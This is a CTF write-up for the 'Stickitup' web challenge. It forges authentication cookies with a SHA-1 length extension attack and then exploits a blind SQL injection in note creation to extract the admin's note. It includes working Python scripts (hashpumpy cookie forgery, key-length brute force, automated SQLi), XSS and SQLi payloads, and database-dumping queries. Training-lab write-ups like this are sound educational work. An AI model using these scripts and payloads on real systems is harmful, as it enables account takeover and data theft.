Writeup DGA - CTF - Stickitup

This article describes my solution for the 150-point challenge called “Stickitup”.

Introduction

J’ai pourtant suivi les guides de bonnes pratiques SSI pour stocker mes mots de passe, mais j’ai un trou de mémoire pour accéder à mon appli… mon compte est admin et devrait être sur une note dans l’appli…

Start

We have at our disposal a tool to write post-it. It is necessary to be registered and logged in to create and delete post-it.

I visit the source code and see something quite disturbing.

<!-- $_COOKIES['auth'] = 'testuser:' . sha1(SECRET_KEY . 'testuser'); -->

There is an HTML comment that surrounds a PHP code. This piece of code seems to describe how the auth session cookie is created.

Basically, it seemed quite strange to me this way of doing things, then when doing further research, I noticed two things: this approach is not found in ISS good practices and this kind of practice is vulnerable to the length extension attack.

In cryptography and computer security, a length extension attack is a type of attack where an attacker can use Hash(message_1) and the length of message_1 to calculate Hash(message_1 || message_2) for an attacker-controlled message_2, without needing to know the content of message_1. Algorithms like MD5, SHA-1 and most of SHA-2 that are based on the Merkle–Damgård construction are susceptible to this kind of attack. Truncated versions of SHA-2, including SHA-384 and SHA256/512 are not susceptible, nor is the SHA-3 algorithm.

Exploitation

To exploit this vulnerability, it is necessary to know the key size. Currently we don’t know it. This is the reason why it is necessary to perform a brute force attack to test all key sizes.

The preliminary step is to create an account on the platform to retrieve a valid hash.

Here is the authentication cookie obtained with the creation of a user named demo.

demo:18f5c65e09eae9c2582c28080bc133647e955992

By using the hashpumpy library, it is possible to exploit this vulnerability.

python -m pip install hashpumpy
#! /usr/bin/env python
import requests
import hashpumpy
from urllib.parse import quote

name = "demo"
generatedHash = "18f5c65e09eae9c2582c28080bc133647e955992"
append = "OK"

maxKeyLength = 300
keyLength = 1

while keyLength < maxKeyLength:
    # generate hash
    newHash, newName = hashpumpy.hashpump(generatedHash, name, append, keyLength)

    # build the cookie
    cookie = {"auth": quote(newName + b":" + newHash.encode())}

    # execute GET request (wihtout following redirects)
    r = requests.get("http://stickitup.chall.malicecyber.com/member.php", cookies=cookie, allow_redirects=False)

    if r.status_code == 200:
        print(f"Key length: {keyLength}")
        break
    keyLength += 1

Variable name corresponds to the valid user created on the platform, generatedHash is equal to the hash generated by the platform and append corresponds to the word that is going to be added at the end of the first part of the authentication cookie.

By executing this script, we try to guess the key length by trying to execute a GET request on the home page. If we get a 200 answer, then we have found the right key and the demo<key_length>OK user is valid.

We get the following result.

python keyLength.py
Key length: 16

OK so the key has a size of 16 characters.

Now the goal is to generate rotten authentication cookies by injecting XSS or SQL injections.

The following script allows you to generate authentication tokens by injecting malicious code.

#! /usr/bin/env python
import hashpumpy
import urllib.parse
import sys

name = "demo"
generatedHash = "18f5c65e09eae9c2582c28080bc133647e955992"
keyLength = 16

append = sys.argv[1]

newHash, newName = hashpumpy.hashpump(generatedHash, name, append, keyLength)
cookie = urllib.parse.quote(newName + b":" + newHash.encode())

print(cookie)

It is now possible to generate a hash with an XSS injection.

python generateAuthCookie.py "<script>alert(1)</script>"
demo%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A0%3Cscript%3Ealert%28%29%3C/script%3E%3Afb1f9611ffbfc5322f25e1bededcc20dd1c13269

By creating an authentication cookie that has the hash value generated just above, we notice that the JavaScript is executed. However an XSS flaw is unusable because according to the description of the challenge, the administrator has lost his password. It is therefore not possible to make an exploitation of this type. Let’s try now with SQL injection.

python generateAuthCookie.py "' OR 1 = 1 --"
demo%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A0%27%20OR%201%20%3D%201%20--%3Ac9fb064e232de23f4546b2184807040ae5cd806b

An interesting thing is happening. A basic SQL injection ' OR 1 = 1 don’t seems to work but we don’t see everyone’s notes. We notice that we can’t create a note. It looks like a blind SQL injection because no error message is displayed.

To summarize: the page that lists the notes is not vulnerable to SQL flaws, but the creation page is.

OK so we can’t create our own notes, it’s difficult to exploit this SQL flaw but we can try to create the notes of someone else.

Let’s try to create an account for the user demo<key_length>a.

python generateAuthCookie.py "a"
demo%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A0a%3Ae93bf7f7cb1fad500bdf5907b2f05eb8f4ebd876

Given that the SQL flaw returns nothing, and that each time we need to regenerate a token, we won’t do this by hand. The following script will do this for us. The idea of this script is to create a pseudo that exploits the SQL flaw, we then check on the account if this note is created.

It is assumed that the creation of the note takes three arguments: pseudo, note title and note content. We don’t know the order, so the tests we are going to do will allow us to know where the data is located. It turns out that the correct position is pseudo, note title and note content.

#! /usr/bin/env python
import hashpumpy
import requests
import urllib.parse
import sys
	
host = "http://stickitup.chall.malicecyber.com/"

name = "demo"
append = "a"
generatedHash = "18f5c65e09eae9c2582c28080bc133647e955992"
keyLength = 16

# generate a hash for the account that will receive notes
hashpumpHash, hashpumpName = hashpumpy.hashpump(generatedHash, name, append, keyLength)
receiverAccountCookie = urllib.parse.quote(hashpumpName + b":" + hashpumpHash.encode())

# make a HTTP GET request on the home page to list notes
def browse(cookies):
    return requests.get(host + "member.php", cookies=cookies).text

# count number of note-item HTML tag that represents a note
beforeCount = browse({"auth":receiverAccountCookie}).count("note-item")

# generate the hash for the accout that will create note
hashpumpHash, hashpumpName = hashpumpy.hashpump(generatedHash, name, sys.argv[1], keyLength)
maliciousAccountCookie = urllib.parse.quote(hashpumpName + b":" + hashpumpHash.encode())

# create a dummy note with this account
re = requests.post(host + "notes.php", data={"title": "SQLI", "text": "SQLI"}, cookies={"auth": maliciousAccountCookie})

# make a HTTP GET request on the home page to list notes
resp = browse({"auth": receiverAccountCookie})

# count number of note-item HTML tag that represents a note
afterCount = resp.count("note-item")

# check if a note has been created
if beforeCount < afterCount:
    print("SQLI worked\nNew note: ")

    # retrieve the id of the newly created note
    _id = resp.split('<input type="hidden" name="note" value="')[1].split('"')[0]

    # delete the note via its id
    requests.post(host + "notes.php", cookies={"auth": receiverAccountCookie}, data={"note": _id})

    # retrieve the title of the note by parsing HTML tags
    title = resp.split('<p class="title_note" class="mt-3"')[1].split("</p>")[0].split("\n")[-1]

    # retrieve the content of the note by parsing HTML tags
    content = resp.split('<p class="content_note" style="height: 140px; overflow: hidden">')[1].split("</p>")[0].split("\n")[-1]	

    # print the note's details
    print(f" > Title: {title.lstrip()}")
    print(f" > Content: {content.lstrip()}")
python exploitBlindSqli.py 'a", "title", "message") #'
SQLI worked
New note:
 > Title: title
 > Content: message

Please note that # is used because -- was not working.

With this SQL injection, I try to insert a note for the user demo<key_length>a, a note that has the title title and the content message. For ease of use, the script directly retrieves the content of the note. And also deletes it (in case we find the flag to avoid exposing it to everyone).

Now we have to find out which DBMS we are on.

python exploitBlindSqli.py 'a", "title", VERSION()) #'
SQLI worked
New note:
 > Title: title
 > Content: 10.2.32-MariaDB-log

Beautiful isn’t it?

We know that we are on a MariaDB server. The list of tables can be retrieved this way.

python exploitBlindSqli.py 'a", "title", (SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES)) #'
SQLI worked
New note:
 > Title: title
 > Content: ALL_PLUGINS,APPLICABLE_ROLES,CHARACTER_SETS,CHECK_CONSTRAINTS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENABLED_ROLES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_CACHES,KEY_COLUMN_USAGE,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,SYSTEM_VARIABLES,TABLES,TABLESPACES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,GEOMETRY_COLUMNS,SPATIAL_REF_SYS,CLIENT_STATISTICS,INDEX_STATISTICS,INNODB_SYS_DATAFILES,USER_STATISTICS,INNODB_SYS_TABLESTATS,INNODB_LOCKS,INNODB_MUTEXES,INNODB_CMPMEM,INNODB_CMP_PER_INDEX,INNODB_CMP,INNODB_FT_DELETED,INNODB_CMP_RESET,INNODB_LOCK_WAITS,TABLE_STATISTICS,INNODB_TABLESPACES_ENCRYPTION,INNODB_BUFFER_PAGE_LRU,INNODB_SYS_FIELDS,INNODB_CMPMEM_RESET,INNODB_SYS_COLUMNS,INNODB_FT_INDEX_TABLE,INNODB_CMP_PER_INDEX_RESET,user_variables,INNODB_FT_INDEX_CACHE,INNODB_SYS_FOREIGN_COLS,INNODB_FT_BEING_DELETED,INNODB_BUFFER_POOL_STATS,INNODB_TRX,INNODB_SYS_FOREIGN,INNODB_SYS_TABLES,INNODB_FT_DEFAULT_STOPWORD,INNODB_FT_CONFIG,INNODB_BUFFER_PAGE,INNODB_SYS_TABLESPACES,INNODB_METRICS,INNODB_SYS_INDEXES,INNODB_SYS_VIRTUAL,INNODB_TABLESPACES_SCRUBBING,INNODB_SYS_SEMAPHORE_WAITS,note,users

At the end of this list there are two tables: note and users. Let’s retrieve the fields from the notes table.

python exploitBlindSqli.py 'a", "title", (SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME = "note")) #'
SQLI worked
New note:
 > Title: title
 > Content: id,title,user,content

It’s unbearable, let’s get the content of the content column!

python exploitBlindSqli.py 'a", "title", (SELECT GROUP_CONCAT(content) FROM note NOTE_ALIAS)) #'
SQLI worked
New note:
 > Title: title
 > Content: -+-{{akUX7Aihx9}}-+-

Here we only get one result because I executed this script once the challenge was over (for the writeup), so there is only one note. During the challenge, there were much more.

In the script, NOTE_ALIAS corresponds to an alias because we made a selection from the note table during an insertion in this same table, so it is necessary to put an alias on the query.

So we managed to retrieve the admnistrator’s note corresponding to the flag to validate this challenge.